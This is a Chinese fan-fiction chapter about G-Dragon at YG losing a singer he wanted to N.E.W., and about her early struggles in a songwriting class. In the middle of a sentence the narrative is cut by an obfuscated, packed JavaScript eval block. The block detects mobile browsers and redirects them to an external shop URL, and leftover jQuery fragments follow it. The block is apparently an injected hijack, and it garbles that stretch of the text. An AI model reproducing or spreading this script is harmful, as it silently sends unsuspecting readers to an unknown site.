回到YG大楼后，权志龙乘电梯缓缓上行，镜面墙壁映出他没什么表情的脸，仿佛一切如常。


    走廊很静，只有他的脚步声。


    推开工作室的门，里面的谈笑声戛然而止。


    组合里的胜利、太阳、大声都在。三个人似乎因为正在争论某段编曲而围在控制台边。看见权至龙进来，胜利第一个跳起来：“哥，怎么样，签了……”


    他的声音在看清权至龙空手而归且面无表情时，逐渐低了下去。


    权至龙没理会他，径直走到窗边的沙发前，走到控制台前，拉开自己的椅子坐下。


    “哥？”胜利凑过来，小心打量，“……没成？”


    “嗯。”权至龙打开电脑，“选了N.E.W.的solo，不来了。”


    工作室里安静了几秒。


    “啊……这样啊，她确实看起来也不像YG的孩子。”胜利摸了摸后脑勺，找补着，偷偷看向旁边的太阳和大声。


    太阳走过来，靠在控制台边：“理由呢？还是坚持要solo？”


    “嗯，不想进团体，想做自己的音乐。”权至龙点开一个音频文件，顺手拿起旁边的耳机，“新人嘛，有野心，正常。”


    他的语气太正常了，正常得甚至有些刻意。胜利和大声交换了一个眼神，两人都没敢再吱声。


    太阳却没那么容易被糊弄。他伸手，直接按掉了耳机连接开关：“那你呢？现在什么感觉？”


    权至龙动作顿住，摘下耳机，露出不在意的笑：“我能有什么感觉？挖人又不是买菜，看中了就一定能买回来。有成有不成，很正常。”


    “是吗？”太阳盯着他的眼睛，目光了然，“那你现在打开这个文件干什么？”


    控制台的主屏幕上，亮着的正是那个标记为“D-73（南允知Demo）”的音频文件。


    权至龙手指在鼠标上停顿了一下，面色如常地关掉窗口：“随便听听，参考。”


    “参考什么？”太阳语气平静却直指核心，“人都已经确定去对家了，你还参考她的demo，来调整我们自家新女团的歌？”


    权至龙没回答，平静的点开demo，房间响起了清甜的开场，这首歌胜利早就见他听过很多次，还是第一次见他神色这么平静，平静得让人觉得毛骨悚然，他立刻扯了扯大声的袖子，两人默契地退出了房间，轻轻带上了门。


    太阳却没走，他走到沙发边坐下，就在那件被权至龙扔下的外套旁边。他看着权至龙背对着他的身影。那人坐得笔直，肩膀的线条却绷得有些僵硬，仿佛再次沉浸在这次音乐之中。


    “喂。”太阳开口，声音不大。


    权至龙没回头，敲击空气的手指停下了。


    “你没事吧？”太阳问。


    “我能有什么事。”权至龙终于开口，声音混在demo中带着嘲弄的rap中，那份强装的平静悄然裂开，“一个有点天赋的主唱没签成而已，公司还会继续挑选出更多更好的苗子，并不会对新女团企划有什么影响。”


    太阳沉默了一会儿，看着好友看似专注的背影。


    “至龙啊，”他叹了口气，声音缓了下来，“你以前挖人，成了，就规划进蓝图里；不成，名字和资料转眼就扔一边，demo都不会留超过三天。更不会像现在这样……”他顿了顿，“不会明明心里憋着火，堵着气，还非要打开对方的demo听。你这不像是在判断一个未签约的新人，倒像是……”


    倒像是在反复确认一件已经失去、却心有不甘的东西。


    后面的话太阳没说出来，但意思已经到了。


    “我只是觉得有点可惜。”权至龙终于再次开口，声音压得很低，几乎被音乐淹没，但那份疲惫和落寞还是漏了出来，“那个声音……本来可以更特别的。”


    明明他都想好了，会让她的声音在他的手上，变得更特别的……


    “特别到让你这几天都静不下心，几乎都在注意着她？”太阳站起身，走到控制台边，伸手，毫不犹豫地按下了总控的暂停键。


    砰。


    所有声音戛然而止。


    工作室陷入一片突兀的寂静。


    权至龙摘下耳机，随手扔在凌乱的控制台上，发出“啪”的一声轻响。他向后深深靠进椅背，闭上眼睛，抬起手，用力揉了揉眉心。


    “……我没有静不下心。”他说，但声音里的沙哑和那份无处着力的烦躁出卖了他。


    太阳看着他，没再追问。认识十几年，一起从地下室练习生走到山顶，他太了解权至龙了，这个人越是表现得云淡风轻，一切尽在掌握，心里往往越是介意。


    他的骄傲不允许他轻易示弱，尤其是为了一个拒绝了他的后辈。


    “行吧。”太阳最终拍了拍他的肩膀，力道不轻不重，“既然她选了别的路，那就让她自己去闯。我们这边，新女团的底子也不差，缺了谁地球都照样转，你也减少关注，回归到公司上的事情来吧。”


    “其实我早该想到的。”权至龙猛然睁开眼睛，视线落在屏幕上交织的音轨上，“勇裴，你听这段。”


    太阳为他仍然沉浸在这件事情中感到无奈，看他坐直身体，调整音轨到了副歌部分，再按下播放，南允知的演唱几乎无可挑剔，那个需要极强控制力才能稳稳站住的高音，她在顶点的位置，留下了一丝极其细微的沙哑。


    “失误？”太阳以为是她未能稳住高音的落下，造成了声音的沙哑。


    权至龙的手指在控制台桌面上一下一下地跟着那段节奏，轻轻敲击着。


    嗒。嗒。嗒。


    “不。”权志龙缓缓吐出一口气，那气息在寂静中显得格外悠长，他咬着后槽牙，唇角却一点一点，缓缓扯开一个近乎气恼的、又带着点复杂难言的、近乎赞赏的弧度，“她故意的。”


    他早该听出来的，那道沙哑不是失误，是刻意保留的棱角，她根本就没打算把自己打磨成光滑圆润的宝石。


    或者更早以前，初遇的打歌舞台，在那些劣质编曲中，看似被规训，实则仍然保留着令人察觉的清澈边缘。


    她要的，就是那些锋利的边缘。


    哪怕，会刺伤自己。


    -


    签约N.E.W.一周后，李在勋为南允知制定了为期三个月的密集训练计划。同时参与高强度训练的还有公司其他几名重点培养的solo预备生，声乐、舞蹈、体能、镜头表现力、媒体应对等，每一项都由资深老师指导。


    接下来的日子，南允知陷入了连轴转的状态。


    这里的训练方式和她从前经历的全然不同，专业，系统，不讲情面。


    声乐老师不再只说“用感情”，而是分析气息支撑点、共鸣腔运用、音区过渡技巧，南允知学得很快，她的声音以肉眼可见的速度变得更稳、更有控制力，高音区扎实明亮。


    舞蹈方面，N.E.W.注重力量与控制、细节与表现力的结合，训练强度极大。南允知虽然幼时学舞，但前公司的舞蹈简单，与现在的训练强度大不相同，好在她的身体记忆力和吃苦能力远超旁人，舞蹈老师把复杂的动作拆解成模块后，她便付出比别人更多的练习，直到肌肉形成条件反射，直到汗水浸透练功服，膝盖和手肘磕得青紫也毫不在意。


    这些都让她在一众练习生中脱颖而出，几乎每次都会成为考核第一，老师们不吝啬对她的肯定，同期生看她的眼神里混杂着钦佩与隐约的竞争压力。


    然而，当课程表切换到“创作与制作”时，一切就变了。


    这门课没有基础教学，仿佛默认入选者都具备一定的创作底子。负责这门课的尹河俊是资深作曲人，在业内以高产和作品传唱度高著称，他的风格犀利直接。


    “公司给你们三个月适应期，但市场不会等。基础乐理、软件操作是你们自己的事，课堂上我们只讨论如何让作品具备商业可能性。”


    接着便是令人窒息的作业：“下周，每人交一首结构完整、副歌有记忆点的流行歌demo。编曲要素齐全，混音达到基本听感要求。”


    不同于身边早已训练已久的同期，对南允知而言，这如同要求一个刚认识拼音的人直接写出一篇的论文。


    创作室的设备陌生冰冷，软件界面复杂如迷宫。她试


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897734|192284||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着回想老师说的“和弦走向”、“Hook设计”，但没有任何编曲创作基础的脑子理解起来就是一片空白。


    这里不存在求助，没有人教她从哪里开始，同期生各自埋头应对同样的压力，空气中弥漫着无声的竞争与焦虑。


    最初的几天，挫败感几乎将她淹没，她可以完美复刻老师教的唱法，可以跳出精准的舞步，却无法从无到有地创造，那种无力感，比任何□□上的疲惫都更折磨人。


    没有别的办法，她开始拼命，利用所有课余时间，泡在创作室，从最笨拙的方式开始，用手机录下自己随意哼唱的片段，哪怕只是几个零碎的音符。然后尝试在键盘上找出对应的音，再根据那点可怜的乐理知识，搭配最简单的和弦，可仍旧错误百出，经常耗上几个小时，最后得到的只是一段不堪入耳的杂乱噪音。


    第一次作业验收，尹河俊老师坐在控制台前，脸色一如既往的平淡，挨个点开他们的工程文件，外放，快进，点评。


    “鼓组太满，抢了人声。”


    “Hook太平，三秒内没抓住耳朵。”


    “预副歌到副歌的过渡太生硬。”


    批评直接，不留情面。被点名的练习生低下头，手指攥紧。


    直到轮到尹恩雅，公司里公认的创作天才，出身音乐世家，十六岁就有署名作品，她的demo一响起，教室气氛明显不同。流畅的钢琴前奏，精致的电子音效叠加，副歌旋律抓耳。


    尹河俊听完，点了点头：“完成度很高。商业化思路清晰，知道市场要什么。”他顿了顿，“但太知道了，像照着说明书拼的标准模型，没特色。”


    尹秀雅微笑接受评价，目光好似不经意看向斜前方的南允知，指尖轻轻转着一支笔，姿态放松。


    终于，光标停在南允知的文件上。


    文件名：《无题-草稿1》。


    有人极轻地“嗤”了一声，很快压住。


    尹河俊点开。


    前几秒是空白。然后，一个简单的钢琴单音响起，有点飘，像弹的人手指没压稳。接着，清唱的人声进来，没有任何修饰，也没有编曲托着。


    南允知听着自己的声音从专业音箱里流出来，指甲陷进掌心。在周围那些精致作品的对比下，它显得那么粗糙而笨拙，赤裸得难堪。


    仅仅播放到第三十秒，尹河俊直接按了暂停。


    教室一片寂静。


    “南允知。”他看向她，语气没有起伏，“你交的这是什么？”


    她抬眼，语气认真：“作业。”


    “作业？”尹河俊向后靠进椅背，“作业要求是什么？结构完整，副歌有记忆点，编曲要素齐全，混音达到基本听感。”他一项项数，语速不快，每个字却都带着尖刺，“你的结构在哪？Verse和Chorus分清楚了吗？编曲在哪？除了一个钢琴单音和一个薄得像纸的Pad，还有什么？混音？干声直出，连最基本的均衡都没做。”


    停顿了一下，目光扫过屏幕上那简陋的音轨。


    “这甚至不能叫作品，这是噪音，是素材垃圾。你花一周时间，就给我听这个？”


    教室里安静得能听见空调风声，几个练习生交换了眼神，有人抿住嘴唇，怕泄出不该有的表情。


    “以技术层面论，”尹河俊下了结论，“不合格。垫底。如果下节课还是这种水平，你不用再交了。”


    空气凝固了一瞬，随即被压抑不住的轻笑划破，那些目光混杂着同情、优越、了然甚至一丝幸灾乐祸向南允知笼罩过来。


    他们找到了，这个在声乐和舞蹈课上锋芒毕露、被本部长另眼相看的天才，终于露出了致命的短板。


    南允知坐在那里，背挺得很直，尹老师每一句都像针，扎在她熬了无数夜的成果上，她侧过眼，看着屏幕上被宣判死刑的文件，那是她的第一个作品，是从她贫瘠土壤里艰难长出的、歪歪扭扭的幼苗。


    然后，在所有人以为她会难堪或辩解时——


    她轻轻吸了一口气，再缓缓吐出，低下头，在笔记本上记下了老师的每一句批评，笔尖划过纸面，沙沙作响，一字不漏。